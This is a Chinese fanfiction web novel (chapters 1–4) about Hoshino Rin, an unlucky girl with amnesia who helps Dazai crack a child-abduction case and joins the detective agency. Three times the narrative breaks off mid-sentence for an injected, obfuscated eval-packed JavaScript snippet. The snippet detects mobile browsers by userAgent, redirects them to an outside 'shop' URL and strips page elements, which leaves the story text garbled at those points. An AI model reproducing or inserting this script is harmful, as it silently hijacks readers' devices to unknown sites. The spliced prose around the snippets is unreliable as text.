《倒霉蛋也能成为侦探吗?》 1. 第 1 章 “店员小姐,请给我一杯咖啡。” 坐在对面的客人向星野凛点单。 星野凛深吸一口气,小心翼翼地端着咖啡过去:“先生,您要的咖啡。” 见无事发生,她总算放下心,轻轻呼气。 今天已经是她在这家咖啡店工作的第三天了,只要撑过今天,她就能彻底转正。对了,忘记说了,她之所以这么紧张是因为,她有个鸡肋的倒霉体质。 随时触发,到处刷新,倒霉得没有规律,更倒霉的是,她失忆了,根本不知道自己为什么会有这个体质,只知道自己叫星野凛,在横滨漂泊半个月了,这半个月里,她找了无数份工作,也被辞退了无数次。 毕竟,没有一个老板会要一个衰神倒霉蛋。 这家咖啡店的店长人很好,是个头发有些花白,和蔼可亲的中年大叔,丝毫不介意她是个新人,还给了她三天的试用期,店长愿意给她机会,对她这个四处碰壁的人来说,已经很好了。 为了报答店长的恩情,她一定要多工作才行。咖啡机里的咖啡豆不多了,她往里面倒了一些,插上电源,按下按钮,心满意足地去接待客人了。 门铃轻轻作响,有客人推门而入:“请给我一份你们这的招牌。” 星野凛应道:“马上好,请客人稍等。” 她动作流畅地给咖啡拉了个花,咖啡馥郁微苦的气味在店里弥漫,将咖啡放入托盘给客人送去。 星野凛放缓脚步,心想这样应该不会有问题了,然而,下一秒,她踩到一块香蕉皮,“砰”地一声,把咖啡全淋在了客人身上,杯子也四分五裂。 而她本人,正趴在地上,摔得四仰朝天。本来以为能度过一个普通的一天,结果在这等着她呢。 星野凛迅速爬起,对着客人道歉:“十分抱歉,这位先生,您今天的损失都由我一人承担,请不要投诉店长!” 谁料对面的男人颓废地坐在地上,喃喃自语:“果然,我果然是个失败的男人,连咖啡都讨厌我……” 星野凛懵了:“????” “先生,您的咖啡是我不小心泼的,请您不要这样说。” “由美酱说得没错!像我这样的男人,就该受到惩罚,神明大人啊,请降下神罚吧!” 男人突然歇斯底里地大喊。 星野凛无语地看向店长,店长用一副老神在在的神情无声地回复她:没事,小场面,不用慌。 这像是一副没事的样子吗?眼看男人越发癫狂,星野凛采取了物理攻击,走过去扇了男人一耳光:“先生,请你安静,听着,我会赔偿咖啡的,不要大喊大叫。” 男人被扇得头耷拉着,红肿的巴掌印清晰可见,他像疯了般抓住星野凛的手:“由美酱,你回来了!是你对不对?由美酱,你再打我一次好不好?由美酱……” ?星野凛使劲抽出自己的手,用手帕擦了擦,无声地叹气,这都是些什么奇葩啊。 “第一,我不是由美酱,第二,你该去医院挂个号了,第三,我暂时还没想好。” “……由美酱,你还是那么幽默。不是说好了在咖啡店见吗?为什么要装作不认识我的样子?” 眼见对面的男人更加失控,星野凛准备采取更有效的手段,还没行动,就闻到一股烧焦的味道,她忽然意识到了什么,看向咖啡机。 糟了,她没把咖啡机的插座插好,电路好像烧了,火势很快从零星一点蔓延到整个店里,店长着急忙慌地去拿灭火器,客人都捂着口鼻逃出来店。 人倒霉的时候,连灭火器都是空的,眼见火舌肆意地舔舐每个角落,火越来越大,店长腿脚不好,被桌椅绊倒在地,星野凛把店长和那个奇葩男都拖出店。 “店长,您还好吧?” 她气喘吁吁地问,为了防止奇葩男再大喊大叫,她把他打晕了。 见店长摇头,星野凛总算放心了,看着面前这副景象,失控,凌乱,恐惧,尖叫…… 她觉得自己或许不该来这家店工作,如果不是她,咖啡店根本不会起火,也不会遇到奇葩男。这半个月里,她什么工作都做过,为了不睡桥洞,一天要打三份工,可惜,幸运之神从不会眷顾她,但那又怎样?她向来只是笑笑,然后去找下一份工作。 星野凛从不想可怜自己,也不想被人可怜。 在店长打完火警电话后,星野凛对着店长鞠躬:“非常抱歉,店长,给您添麻烦了。我觉得我实在没有资格成为您的部下。” 随后,递上一封不知何时写好的欠条,“这是欠条,店里的损失,我后面赚到钱会补偿给您的。” 星野凛说完连抬头看店长的勇气都没有,扭头就跑。 只留下店长一个人在风中凌乱,哦,还有倒在地上的奇葩男。 * 星野凛不知道自己为什么要跑,只是双腿不受控制,下意识就跑了,耳边是呼啸而过的人声,她一刻也不想停。 避开所有人群,她跑到了鹤见川附近,见周围没有人,她才放缓脚步,大口踹气,不过是一次失败的求职经历,以后这样的情况还会更多,不是吗? 整理好心情后,她走到河的中心,说白了,还是因为想逃避,不敢面对自己犯下的错,也不敢看店长的脸。 啧,好烦,怎么这么多破石头,星野凛把一颗石头踢飞。 要不要重新给店长道个歉,算了,估计店长也不想听她说话……星野凛这么想着,完全没有注意地面,不知道被什么东西绊倒,一路滚到了河里。 “扑通”一声,星野凛掉进了水里,不过奇怪的是,她好像没有完全掉进去,脚下好像踩到了什么东西,应该是谁丢的大型垃圾吧,还挺软。 “唔……好重哦。”脚下的“大型垃圾”突然发出了声音,星野凛一个激灵,见鬼,谁在说话? “是我哦,小姐~不过我还是建议去岸上聊比较好。” 星野凛眼睁睁看着脚下的“大型垃圾”变成了一个陌生的池面美男,“诶?——” 什么情况,大变活人吗? 池面美男对她笑了一下就突然晕倒了,砸在她身上,吓得星野凛赶紧把他带到岸边:“喂,你没事吧?不要碰瓷啊,我很穷的。” 把人放到岸边,才开始打量对方,青年穿着沙色风衣,手腕处绑着绷带,鸦羽般的睫毛紧闭着,微卷的发丝湿漉漉地贴着白皙俊美的脸,毫无疑问,这是个标准的池面美男。 光顾着看对方的脸,差点忘了正事,救人要紧,星野凛用力按压对方腹部,按了好一会,发现对方并没有要苏醒的迹象。 这下难办了,不会要她做人工呼吸吧?虽然对方很符合她的审美,但还不至于做到这个地步。 星野凛抬头看了眼四周,前面好像有一个大叔在钓鱼,看着面前的青年,她忽然有了个好主意。 这么喜欢装,有本事一会也别醒。 星野凛跑到钓鱼大叔面前,“那个,不好意思,我朋友落水了,能帮忙做个人工呼吸吗?拜托了。” 大叔闻言把鱼竿一收,爽朗笑道:“没问题。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037665|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>星野凛随后带着大叔走到青年面前,“这就是我的朋友,麻烦大叔了。” “小问题,包在我身上。” 大叔深吸一口气,噘起嘴唇,顺手涂了个润唇膏。 看来这位大叔是专业户啊,瞧瞧这手法,这下意识的动作。 就在大叔即将把嘴唇凑到青年脸上时,对方跟诈尸一样弹坐而起,把大叔的头撞倒在一边:“我可没有和男人接吻的兴趣。” “好过分哦,居然让大叔做人工呼吸,本以为能骗到小姐的,真是可惜啊。” 星野凛有些无语:“过分的是你才对吧?装晕很有意思吗?” 青年“噗嗤”一声笑了:“原来小姐知道我在装晕啊,还以为小姐不知道呢~” “是吗?主要是你的演技太烂了,想装作不知道都难。” “小姐真有趣啊,看来我还得精进一下演技啊。忘了自我介绍了,我是太宰,太宰治。” “星野凛。” 星野凛说完就指着倒地的大叔问:“怎么办,要不要报警,联系他的家人。” 太宰无所谓地说:“没关系,这个大叔每天就会来这里钓鱼,他的女儿会来喊他回家吃饭,所以不用担心哦。” 像是怕星野凛不相信,又说:“毕竟我可是每天都会在这里入水,没人比我更了解这里。” 星野凛松了口气:“好吧。” 就算太宰骗她,她也没办法啊,不管怎么样,只要不和她一样,无家可归也无处可去就行。 “刚才谢谢你在水里给我充当人皮艇。”星野凛想起水里的情景,向他道谢。 太宰摆摆手:“不必在意哦,凛酱没事就好。” 凛酱?这个叫太宰的人也太自来熟了吧。 下一秒他露出思索的表情,“如果非要道谢的话,不如凛酱和我一起殉……” “可以哦。”星野凛脱口而出。 "……诶?" 太宰罕见地露出了迷茫的表情,本以为对方的性格应该会拒绝的才对,没想到答案出乎他的预料,真是越来越有意思了。 “不管怎么样,我欠你一个人情嘛,可以让我帮你做些什么,当然了,太过分的我不会同意。” 太宰露出一副受伤的神情,做西子捧心状:“好过分,原来我在凛酱眼里是这种人吗?” 星野凛实在是忍不了了:"请叫我星野小姐,我们才刚认识而已,不要搞得认识很久了一样。" 好没有边界感啊,这家伙。 “好的,凛酱。” “……” 算了,她认输,不和笨蛋计较。 “你想让我帮你做什么?”星野凛还是决定问些有用的。 太宰伸出手:“唔…脚抽筋了,还是先把我拉起来吧。” 星野凛握住对方的手,毫不费力地把他拉起来,这家伙是不吃饭吗?这么轻,刚才带他上岸的时候就想问了。 太宰原本笑着的唇角轻扯了一下,果然比他想象中的还有意思啊,可以无视【人间失格】的特殊体质,太有趣了。 “我现在有一桩很棘手的案件需要处理,凛酱就协助我一起去吧。” 星野凛突然想到什么,双手抓住太宰的手:“可以是可以,只不过我现在有一件更加紧迫的事,它关乎着我做人的信誉。” 太宰有些好奇:“是什么呢?” 闻言她抓得更紧了:“我能向你借点钱吗?刚刚不小心把咖啡店烧了,欠下了巨款。” “诶?” 2. 第 2 章 星野凛跟着太宰来到警察署,看到门口张贴着最近的失踪案件,发现失踪的大多数都是小学生和国中生。 太宰从善如流地和警官打招呼:“哟,下午好,村上警官。” 被称为村上警官的男人略微点头:"下午好,侦探社居然没让乱步先生过来。" 太宰解释道:“乱步先生出差了,很忙的,叫我来也是一样的嘛。” 接着话锋一转,把星野凛推到村上警官的面前:“我还带了帮手哦,村上警官完全可以放心,保证今天之内侦破此案。” 什么?今天?困扰了警察署那么久的人口失踪案,在他嘴里好像出门买个菜一样轻松。 星野凛不知是该佩服他对自己的自信,还是佩服他对她的自信了,现在是东京时间下午2:30,不到一天的时间侦破案件,他真当自己福尔摩斯转世啊? 怎么办?星野凛有些后悔来帮他了,她悄悄扯了扯太宰的衣角,在他耳边小声说:“你是要将我置于死地吗?” 太宰用正常的音量回道:“没有哦~我相信有凛酱在,我们一定会在规定时间内破案的。” “……” 求太宰治不捧杀教程,在线等,挺急的。 “村上警官,今天失踪的学生是私立国中的吗?” 太宰正色道。 最近横滨大大小小的学校都遭过殃,按照犯人作案的顺序和排除法能得出这个结果。 “没错,是私立国中的,父母刚报完案没多久,这里有档案信息。” 太宰接过扫了几眼,递给了星野凛:“凛酱,你怎么看?” 星野凛正认真地端详这些资料,随口道:“还能怎么看,用眼睛看呗。” “……” 失踪人口的档案很厚,足足有二十多页,可见这起案件有多恶劣。星野凛翻了三遍,还是没得出什么有用的信息。 “村上警官,这些失踪的学生都有什么特征啊?” 星野凛边翻边问。 “特征……要说特征的话,年龄都很小,最大的上国中三年级,最小的上国小二年级。都是有些瘦弱,内敛的孩子,双亲没有太多时间照顾,放学经常一个人走,没什么朋友的类型。” “好典型的失踪受害人啊。” 星野凛吐槽道。 村上警官揉了揉发疼的太阳穴,他已经三天没有合眼了,布满红血丝的眼睛有些浑浊:“拜托你们了,如果再解决不了,上面又要开始施压了。” 太宰看了眼星野凛,安慰道:“村上警官不必担心,我们一定会将凶手缉拿归案的,是不是啊,凛酱?” 星野凛看着村上警官对她寄予厚望的眼神,硬着头皮,弱声回答:“呃……那个,也许…大概吧。” 救命啊,有没有人来救救她!她只是个失忆倒霉蛋,哪有什么破案技巧啊,也不知道太宰那家伙到底有什么居心。 “好了,凛酱我们快点去破案吧,一想到那些失踪的学生还没回到温暖的家里,我就心痛,啊!你们等着,本绝世名侦探一定会把你们救出来的!”太宰做着浮夸的表情说出这些话。 村上警官:“……” 乱步先生不在真的没问题吗?还有,乱步先生没收台词版权费吗…… * 东京时间下午3:20,横滨某私立国中门口。 现在是放学时间,少男少女纷纷骑着自行车从学校里出来,有的成群结队和朋友打打闹闹,有说有笑,洋溢着青春的气息。 星野凛看着活力满满的国中生,又看了眼太宰:“总觉得打开方式不太对。” 太宰双手插兜,刚刚拒绝了一群女国中生的告白,看着口袋里的情书,正是感慨魅力无处安放的时候: “嗯?没有哪里不对哦,哪里都很对,哎呀哎呀,真是没办法呢,像我这样的美男子会有这样的烦恼也是正常的嘛~” 星野凛头冒井号:“你这家伙能不能认真点?!这根本就不是重点啊喂!” 对着太宰上下打量,“你一身都市熟男的样子出现在国中门口就很怪啊,好像生怕犯人不知道你是来调查的。” 太宰无辜眨眼:“诶?是这样吗?可是凛酱你穿的也和国中很不搭哦。” “哈?哪里不搭了!我可是正值青春美好的18岁,怎么穿都很搭。” 星野凛看着自己一身休闲运动服,蓝色的头发,青色的瞳孔,还有可爱妹妹头,理直气壮道。 她可是青春的代名词! 星野凛看着来来往往的女国中生,又看了看太宰,她好像知道问题在哪了,心里冒出一个好主意。 “既然我们猜到了犯人会在一个学校采取两次行动,就应该好好利用这次机会引蛇出洞,有时候,为了更好地完成任务,必要的牺牲也是值得的,你说对吧,太宰君?” “真是可爱啊凛酱,你知不知道每次想做坏事的时候,都会叫我太宰君哦。” 太宰用看破一切的语气说道。 “诶——没想到我在太宰君的心里是这种人,也不要说得那么难听嘛,都是为了完成委托。” 用魔法打败魔法,这是星野凛总结出的对付太宰的办法。 “最好的办法是假扮成女子国中生,混进人群里,等时间成熟犯人自动会献身,怎么样?这个主意不错吧?我是不是很聪明?” 星野凛一副求夸又傲娇的样子逗笑了太宰,“凛酱还真是天真烂漫啊,不过这个方法也不错啦。” 十分钟后,太宰不知从哪弄来了两套私立国中的jk制服,递给星野凛一套:“时间不早了,凛酱快点去换吧。” 星野凛接过,犹疑地看着他:“你什么时候去换?你不会不换吧?” 太宰推着星野凛去换衣服:“凛酱先不要管我嘛,先去换,我一会去换。” “真的?” “真的。” 星野凛妥协了:“好吧。” 她在附近的一家便利店厕所里换好就出来了,大小正合适,光看她的外表真的不会让人怀疑她的乔装打扮。 星野凛蹦蹦跳跳向太宰的方向跑去,太宰已不在原地,取而代之的是一个180+的jk,唇红齿白,清纯可人。 这也太好看了吧,星野凛目瞪口呆:“你把太宰君弄到哪里去了,快说。” 太宰的鸢色眼眸亮晶晶的:“什么太宰君啊,人家是治子,凛酱要叫我治子哦~” “……” 这家伙,入戏也太深了吧。 星野凛不甘示弱,也一秒入戏:“好的,治子酱。” “治子酱今天也是一个人回家吗?我也是,要不要一起?” 太宰挽起星野凛的手,小步往前走:“是啊,我家里人都是很忙的,从来都不会接我,凛酱你呢?” 怎么还越入越深了,她尝试挣脱,但太宰挽的实在是太用力了,这家伙真是奇怪,明明力气不大,偏偏在这种时候又不知道哪来的力气。 星野凛无声叹气,跟着太宰的脚步向人少的地方走,一来一去浪费了不少时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037666|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在太阳都快落山了。 “我吗?我是个孤儿,被养父母收留了,但他们工作很忙,几乎不会管我。如果可以的话,治子酱以后能和我一起回家吗?” 太宰浮夸地捂住嘴:“诶?!真的可以吗?好开心啊,太好了,以后有人陪我一起回家了。” 星野凛看着最后一丝太阳光落山,没来由地有些孤独:“嗯,是啊,能有人陪真好。” “凛酱?” “我没事,太阳落山了,犯人差不多该行动了。” 她和太宰已经走到了荒无人烟的地方,周围别说人影了,连个鬼影都没有。 星野凛走累了,坐在一块石墩子上休息,忽然道:“我知道你对我很好奇,所以不用试探我。” 太宰静静等她的下文,果然她又开口了:“因为,我对我自己也很好奇,我没和你说过吧?我失忆了,什么都不记得,想在我身上套到什么有效情报,或是什么利用价值的话,不好意思,只能让你失望了。” 太宰若有所思地看着她:“原来如此,我知道了。凛酱不用想太多,我不是坏人哦。” 不是坏人?谁知道呢,只有小孩子才这么想吧? 好困啊,今天真是不平凡的一天,就在星野凛快昏睡过去的时候,一身狗叫伴随着太宰的厌恶声惊醒了她。 “汪!汪!” “我最讨厌狗了,离我远点,哎呀,真是不走运,为什么会遇到狗……” 星野凛走过去撸了一把狗:“好可爱啊,汪酱不要理他。” 黄色卷毛小狗像是能听懂人话一般,使劲摇尾巴。 星野凛把小狗抱起来:“治子酱,这只小狗好像找不到回家的路了,好可怜,我们把它送回家吧?” 特地把“治子酱”这三个字咬重,太宰get到了她的意图,瞬间入戏:“好吧,可是我还是很讨厌狗。” “没关系,治子酱跟在我后面就好了,你看这只汪酱好像记得回家的路诶,我们把它送回去就行了。” 太宰搓了搓胳膊,柔弱可怜道:“可是,现在已经很晚了,会不会有危险啊?” 星野凛正要说话,卷毛小狗忽然可怜巴巴望着她,星野凛:“……” 真是好手段,难怪这么多学生失踪,涉世未深的学生哪顶得住狗狗的卖萌请求啊,真是可恶。 那些失踪的学生还有一个共同特点,她没和太宰说,不过对方应该早就猜出来了。都喜欢小动物,因为孤僻没什么朋友,特别渴望有一只狗,或者猫来陪伴自己,但因为家里人不同意,只能作罢。 星野凛把披在制服外面的运动外套脱下来,递给了太宰:“治子酱别着凉了,有我在没关系的。” 太宰心安理得地穿上外套,做了个wink:“真温柔啊凛酱。” 待会演完戏就把外套拿回来,还有精力做wink,看样子这家伙根本就不冷。 卷毛小狗在前面带路,像是怕星野凛和太宰不跟上来似的,转头汪汪叫:“汪!汪!汪!” “来了,来了。” 星野凛和太宰跟上去,卷毛小狗把他们带到一处胡同里,里面漆黑一片,伸手不见五指。 已经猜到接下来会发生什么的星野凛无所畏惧地笑了:“太宰,你害怕吗?” 太宰闻言轻笑:“当然不,凛酱要是害怕的话可以握住我的手哦~” “谁要握……” 星野凛话没说完就感到两眼一黑,晕过去了。 3. 第 3 章 微凉的海风带着些许凉意吹在星野凛的脸上,蓝色的发丝在皎洁的月光下更加惹眼,横滨的夜真美好啊,如果忽略掉身上的五花大绑的话。 半小时前,星野凛和太宰在胡同里晕倒了,醒来后就在这里了,一处废弃很久的码头,周围都是破旧的船坞。 除了星野凛和太宰还有那些失踪的学生,都在这里。他们现在在一艘大型轮船上,轮船年久失修,海浪裹挟着风一吹,就摇摇晃晃,星野凛有些晕船,胃里翻江倒海,太阳穴也一突一突地疼。 太宰悠悠转醒,慢吞吞打了个哈欠:“晚上好啊,凛酱。” 星野凛眼冒蚊香圈:“好个鬼,你要不要睁开眼看看自己现在在哪里?” “啊嘞,不就是犯人老巢吗?以身入局还是有用的。” 太宰无所谓地说。 “可是我晕船!我好想吐,你有办法帮我解开吗?” 太宰不知在哪掏出一个刀片:“凛酱快过来,我先帮你解开。” 星野凛背对着太宰,把绑着绳子的手递给他,没一会手就恢复自由了,身上的绳子比较复杂,一时半会解不开。 她趴到船沿去吐,差点没把胃给吐出来,吐完后脱力躺下,感觉失去了人生高光。 太宰三两下就解开了全部,拿着手机给国木田打电话:“莫西莫西,是国木田君吗?” 随后,熟练地把手机拿远,手机那头的声音也飘了出来:“你这个混蛋——你去哪里了,不好好工作又去摸鱼!” 太宰掏了掏耳朵:“我在工作哦,国木田君。” “少骗人了!你这个绷带浪费装置——” “我找到了失踪案的学生哦,在一个废弃码头。” “什么?!——” “真的哦,我还有一个帮手。”太宰说着把手机递到星野凛面前,“凛酱,和国木田君打个招呼吧,我们可是找到了失踪学生,对不对?” 星野凛青色的眼眸无法聚焦:“对,但我建议马上派人来援助我们,不然我们会死得很惨。” “诶?为什么?” 星野凛闭上眼睛,不愿面对这残酷的事实,一字一顿道:“你、回、头、看。” 太宰回过头,一群蒙面黑衣人正拿着枪靠近,手机那头的国木田有些着急:“怎么了太宰?遇到麻烦了吗?” “是啊,很大的麻烦,国木田君,之后就拜托你了。”说完就挂断了手机。 早就听闻有一个来自欧洲,专门干走私、拐卖的地下黑色组织,名为【Dark】。横滨这些天的失踪案就出自这个组织的手笔,这个组织里有一个拥有特殊异能的异能者,能将自己变成任何动物,在看到那只狗时,太宰就全都明白了。 犯人利用自己的异能变成无害可爱的小狗,利用国中生的同理心将他们骗到胡同里,一网打尽。 虽然作案手法很抽象,但事实就是这样。 一个有着黄色卷毛的男人在黑衣人后面走来,嘴上骂骂咧咧:“可恶!每次都让我做这种事,我身为干部的威严在哪里?!” 星野凛从地上起来,有些想笑,这家伙在当狗的时候不是很享受吗?现在到底在装什么? 卷毛男走到星野凛面前,拿枪威胁她:“你之前什么都不记得,不然有你好看的。” “记得什么?哇塞,我真的是第一次见上赶着领耻辱的,其实汪酱你不说的话,没人会在意。” 卷毛男瞬间炸毛:“该死!不准叫我汪酱!” 太宰却有些好奇:“汪酱你为什么不变猫,非要变狗呢?真是没品味,还是猫更可爱吧。” 星野凛不认同:“你更没品,猫有什么好的,还是狗更好,更忠诚更懂事吧。” “猫更可爱才对~” “明明是狗更可爱!” “猫更可爱!” “狗更可爱!” “猫!” “狗!” 见他们吵起来了,卷毛男忍无可忍:“够了!谁要听你们说废话,我知道你们在拖延时间,少给我耍花招。” “耍了花招会怎样?难不成你会重新变成汪酱来咬我吗?”星野凛好奇地问。 太宰有些嫌弃:“咦~本自杀爱好者强烈拒绝这种死法,被狗咬死什么的,想想就难以忍受。” “原来太宰是自杀爱好者吗?那之前入水的时候岂不是打扰你办正事了。” “没关系,反正这种事被打扰也不是一次两次了~我都习惯了。” 怎么又聊起来了,卷毛男决定给他们点颜色看,扣动扳机,举起手枪对着空中“砰砰”两声。 星野凛被这突如其来的动静吓得瑟缩,这家伙犯什么病呢? “给我闭嘴!吵来吵去的烦死了!” 卷毛男烦躁道。 卷毛男把枪对准那群学生,像是得到了糖果奖励的孩子,笑得无辜:“不如这样吧,我们来玩一个游戏,你们赢了,我就把你们所有人都放了,要是你们输了,我就把他们的脑袋一枪一枪打爆,和玩打气球的游戏一样。” “怎么样?是不是很有趣?我知道你们已经迫不及待了,现在就开始吧!” 卷毛男露出陶醉的表情自说自话。 这混蛋……根本就没有拒绝的余地啊,算了,反正本来也是要拖延时间的。 星野凛暗自检查了下藏在身上的追踪器,摸到还在,才松了口气。 她在便利店厕所换衣服的时候就发现了,太宰才不会蠢到连个追踪器都藏不好,是故意让她发现的,看来这是一场难打的仗啊。 那个叫国什么田的肯定也能通过通话内容判断出这些,追踪器就派上了大用场。 太宰饶有兴致地注视着卷毛男的举动:“听起来确实很有趣,不过,游戏规则是什么呢?” “很简单,只要你们说出我身上的秘密,并答对的话就算你们赢,答错则输,反过来我猜你们也是一样的,五局三胜,怎么样?” 真是无聊,星野凛还以为刚才那么大阵仗是要玩什么血腥游戏,没想到就这?该说不说,这卷毛男真的看起来挺蠢的。 星野凛忍下想翻白眼的冲动,“第一局我们先猜吧。” “你用异能的时候变的最多的动物是狗。” 卷毛男惊呼:“诶?!你怎么知道?” 星野凛吐槽:“显而易见好嘛,因为你扮狗的样子实在是太熟练了啊!” “就是,就是。” 太宰附和道。 “好了,该我了。汪酱你应该很想踹掉首领,自己单干吧,毕竟你在组织里就像一只忠诚又得不到重视的可怜狗狗。”太宰说完,还有些同情地看了卷毛男一眼。 卷毛男色厉内荏道:“你少胡说八道!我对组织忠心耿耿,首领也很重视我,你…你说不出就别乱造谣。” 太宰颇为可惜地叹气:“居然猜错了啊,原来汪酱是一只得到重视的好狗狗啊,我还以为是不被首领重视,也不被部下尊重的流浪狗呢~” 星野凛憋笑快要憋出内伤了,太宰这家伙,净往人心窝子上戳,又毒舌又损。 “闭嘴!你少自以为是,再乱说话,老子一枪毙了你!” 卷毛男把枪对着太宰,咬牙切齿道。 “好了,接下来该你来猜我们了。” 星野凛赶紧打圆场。 卷毛男怒气来得快,去得也快,闻言还真开始思索:“我总觉得你很眼熟,但就是想不起来……算了!反正不重要。你肯定也做过杀人犯罪的勾当,要说为什么,没有为什么,就是直觉。” “谁啊?他还是我?” 星野凛有些疑惑。 “你,除了你,那家伙也不是善茬。” 什么?她?!星野凛想反驳却反驳不出来,她现在失忆了,万一失忆前就做过这种工作呢,万一呢…… 太宰拍了拍星野凛的肩膀:“不确定的事,凛酱不要默认哦~要相信自己,就像我相信凛酱一样。” 星野凛张了张嘴,却只挤出来一句:“谢谢……” 还是拖延时间要紧,就算她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17037667|194643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的做了那种工作,失忆前的她和失忆后的她有什么关系呢?她现在可是遵纪守法的三号公民,别想给她泼脏水。 想明白后星野凛否认卷毛男的话:“不确定的直觉不能算作秘密,我没有做过犯罪的行为,起码在我仅有的记忆里没有。你猜错了,我真正的秘密其实很简单。” “是什么?” 卷毛男追问。 “你的枪掉了。” 卷毛男四处找自己的枪:“诶?掉哪里去了?” 星野凛看着他拿枪四处找枪的行为,更加确定这家伙就是不太聪明。 星野凛忍着笑,接过卷毛男手里的枪:“在这里哦。” 卷毛男怔愣着道谢:“谢谢啊。” 随后意识到不对:“你这家伙——” 星野凛无视掉对方的怒吼,把枪重新扔给卷毛男,拜托了,倒霉体质让她幸运一次吧。 卷毛男接过枪就对着星野凛开了一枪:“可恶!怎么卡壳了?你到底做了什么?!” 星野凛无辜摆手:“我可是什么也没做。” “不可能!” 卷毛男尝试了好几次,毫无例外都打不出来。 星野凛算着时间也该到了,扭头提醒太宰:“一会离他远点,会放鞭炮哦。” 太宰两眼放光,激动得拍手:“果然有凛酱的地方就不会无聊呢~” “砰”地一声,子弹炸膛了,卷毛男被炸成了爆炸头,子弹碎片扎进头皮,有几道血顺着流下来。 星野凛遗憾叹气:“不是吧?这都不死?” 她算准了自己的倒霉体质,才去摸那把枪,倒霉体质虽然不会直接作用到别人身上,但能间接让对方倒霉。就像刚刚那样,把枪重新扔给卷毛男。 蒙面黑衣人们见卷毛男倒下,纷纷举枪上膛,靠近星野凛和太宰。 就在这千钧一发的时刻,国木田带着警察赶来:“【独步吟客】——” 一发手榴弹砸在黑衣人身上,星野凛迅速跑到甲板上,避免被波及。幸好这个型号的手榴弹威力不是很大,不然这个轮船就要沉下去了。 “你来得好慢啊,国木田君~” 太宰向国木田抱怨道。 原来那个戴着眼镜,留着辫子,握着笔记本,严肃认真的男人就是国木田啊,星野凛在旁边打量。 国木田闻言头冒井号:“住嘴!你这个阴郁男!突然玩消失又突然挂断电话,真是太乱来了!” “哎呀,国木田君不要在意那些细节嘛~我也是相信国木田君才这么冒险的哦~” 太宰嬉皮笑脸道。 “你看,失踪案的犯人和学生都在这里,全靠我和凛酱。” 国木田向身后的警察示意:“拜托了。” 警察举着枪把黑衣人镇压了,卷毛男被拷起来带走,学生们也被带回去录口供。 太宰打了个哈欠:“国木田君,你得好好感谢我留下的追踪器哦~不然这么偏,以你的头脑肯定找不到。” 国木田闻言把记笔记的钢笔折断,“你这个混蛋有什么脸说这种话?!天天给我增加工作量!” “我就知道国木田君对凛酱很感兴趣,凛酱快过来~” 太宰向星野凛喊道。 “可恶!不要自说自话啊!” 星野凛无声叹气,从甲板上下来,他又想干嘛,随口应了句:“来了。” “初次见面,我是星野凛,请多关照,国木田君。” 国木田正色道:“初次见面,我是国木田独步,很抱歉太宰给您添麻烦了,我这就把他带走。” 星野凛摆摆手:“没关系的,本来也是在帮忙,不能算添麻烦。” “就是嘛,而且凛酱是我特地请过来帮忙的,国木田君也不要自说自话啦~” 国木田青筋暴起:“你这家伙——” 太宰灵活地躲到星野凛身后:“和凛酱说再见什么的根本就没必要哦~因为我想邀请凛酱加入侦探社。” 国木田:“?” 星野凛:“诶——” 4. 第 4 章 星野凛直到坐在武装侦探社的沙发上时,还有点懵,怎么就真的来了,看着窗外湛蓝的天空,越想越烦。 “那个,星野小姐您好,太宰先生让我先带您熟悉熟悉社里。” 穿着背带裤的白发少年局促开口。 星野凛点头:“可以哦,我该怎么称呼你呢?” 白发少年不好意思挠挠头:“我叫中岛敦,也刚加入侦探社不久,对社里也没有很熟,希望星野小姐不要嫌弃。” “不会的,拜托敦君了。” 中岛敦整理了一下办公桌上的文件,“平时大家都很忙,今天也是,只能带星野小姐随便参观了。” 星野凛对这些文件很感兴趣:“我可以打开看看吗?” “请便,这些都是委托侦探社解决的案子,每天都有这么多。” 中岛敦边整理边道。 每天?那入职后岂不是忙得脚不沾地? 星野凛随手打开一份文件,还没仔细看,就被太宰扰乱了注意力:“凛酱,我已经成功说服社长了哦~国木田君也可以作证,是不是啊,国木田君?” 国木田不理会太宰,自顾自道:“社长已经同意了,现在有一件十分棘手的案子,就交给你去解决吧,我和太宰也会去帮忙的。” “现在?这么着急吗?” 太宰推着星野凛往门口走:“非常着急哦,凛酱快点出发吧。” “等一下,我还没和社长说几句话呢——” “不用这么麻烦了,快点走吧凛酱~” 看到消失的三人,中岛敦不禁想吐槽,星野小姐看起来不是很情愿啊,太宰先生这么做真的没问题吗? * “接到报案,这栋居民楼已经连续一个星期有闹鬼传言了,住在里面的居民声称自己见到了鬼,具体的还得深入调查才能知道。” 国木田坐在驾驶座上冷静道。 “凛酱,你相信这个世界上有鬼吗?” 太宰坐在后面伸了个懒腰。 